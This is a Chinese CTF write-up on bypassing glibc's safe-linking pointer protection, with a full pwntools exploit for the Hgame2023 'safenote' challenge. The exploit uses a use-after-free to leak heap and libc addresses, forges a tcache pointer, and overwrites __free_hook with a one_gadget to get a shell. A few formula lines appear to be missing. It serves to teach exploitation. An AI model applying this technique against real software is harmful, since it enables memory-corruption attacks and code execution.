前言 低版本中 无论是tcachebin还是fastbin 只要我们修改fd域就可以将对应地址放置到链表上 威胁程度非常高
在libc2.32以后 saft-linking机制诞生 一定程度上缓解了这种现象的出现
其通过在chunk被释放到链表之前对fd域进行加密 取出后解密来实现堆块的存入和取出 并且有效遏制了用户在没有密匙的情况下篡改fd域从而实现任意地址申请的chunk
不过这个加密的手段比较简单 所以我们仍然有办法绕过这个机制 只需要获取其密匙就行了
源码解析 #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
pos是指针本身的地址 ptr是指针的值
加密的公式翻译成中文形式也就是
如果我们想要按照以前一样任意地址取出chunk 就需要在修改fd域的时候就按照这个加密办法
这也就意味着我们需要获取到堆的地址 这样才能伪造fd域
利用 你可能会想到申请两个chunk 释放进bin中 随后泄露其fd域 获取堆地址
这样当然可行 不过由于这个机制 我们泄露fd域的方法会更加简单 如果单纯释放一个chunk到tcache链表中
换做往常 其fd域值为0
但是受到机制的影响 在2.32版本以后 此时的fd域应该是
你会发现最后的结果也就是去除了后三位 这就意味着如果我们释放一个chunk到tcachebin中 再泄露出fd域 得到的值算术左移12位 就可以得到堆基址 因为堆基址是从当前页起始 也就是后三位固定为0 并且只申请一个chunk的话 大小总不会超过0x1000吧
于是 如果我们想要通过tcachebin获取任意地址的堆块 只需要将对应地址异或(堆基址>>12) 前提是你没有申请超过0x1000大小的chunk 致使对应的chunk到了下一页
真题分析 Hgame2023-week3-safenote 题目环境2.32 做题环境ubuntu18 libc2.27
一共给了四个函数 add函数 可以申请0xff大小以下的chunk delete函数 释放chunk后并没有置零指针 存在UAF edit函数 没有办法堆溢出 show函数 调用puts函数输出堆块内容
非常常规的一道题 无非就是利用UAF实现libc基址的泄露 并且利用tcache打hook
但是因为版本在libc2.32 所以有几个地方需要注意
由于最大只能申请0xff大小的chunk 并且没有办法chunk extend 所以这里采用填满tcache链表的办法使得chunk被释放到unsortedbin中
for i in range (8 ): add(i,0x80 ) delete(0 ) show(0 ) heap_addr = u64(io.recv(5 ).ljust(8 ,b'\x00' ))<<12 success("heap_addr :" +hex (heap_addr))
同时我们可以多申请一个chunk 利用这个chunk来泄露堆基址
紧接着填满tcache链表后再释放一个chunk进入unsortedbin 从而泄露libc基址
add(8 ,0x10 ) for i in range (1 ,8 ): delete(i) edit(7 ,'\x11' ) show(7 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x11 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7fea010bfc00 -0x7fea00edc000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] onegadget_addr = libc_addr + 0xdf54f
这里之所以要修改chunk7的最后一个字节再打印出来 是因为该版本的main_arena_addr+96最后一个字节是00 如果直接泄露的话 显然是会被截断
接下来的任务就很简单了 打free_hook
payload = (heap_addr>>12 )^(free_hook) edit(6 ,p64(payload)) add(9 ,0x80 ) add(10 ,0x80 ) edit(10 ,p64(onegadget_addr)) delete(0 ) io.interactive()
完整exp:
from pwn import *io = process("./pwn" ) context.log_level = "debug" libc = ELF("/home/chen/2.32-0ubuntu3.2_amd64/libc-2.32.so" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./pwn" ) def debug (): gdb.attach(io) pause() def add (index,size ): io.sendlineafter("5. Exit" ,b'1' ) io.sendlineafter("Index: " ,str (index)) io.sendlineafter("Size: " ,str (size)) def delete (index ): io.sendlineafter("5. Exit" ,b'2' ) io.sendlineafter("Index: " ,str (index)) def edit (index,content ): io.sendlineafter("5. Exit" ,b'3' ) io.sendlineafter("Index: " ,str (index)) io.sendafter("Content: " ,content) def show (index ): io.sendlineafter("5. Exit" ,b'4' ) io.sendlineafter("Index: " ,str (index)) for i in range (8 ): add(i,0x80 ) delete(0 ) show(0 ) heap_addr = u64(io.recv(5 ).ljust(8 ,b'\x00' ))<<12 success("heap_addr :" +hex (heap_addr)) add(8 ,0x10 ) for i in range (1 ,8 ): delete(i) edit(7 ,'\x11' ) show(7 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x11 success("main_arena_addr :" +hex (main_arena_addr)) libc_addr = main_arena_addr - (0x7fea010bfc00 -0x7fea00edc000 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] onegadget_addr = libc_addr + 0xdf54f payload = (heap_addr>>12 )^(free_hook) edit(6 ,p64(payload)) add(9 ,0x80 ) add(10 ,0x80 ) edit(10 ,p64(onegadget_addr)) delete(0 ) io.interactive()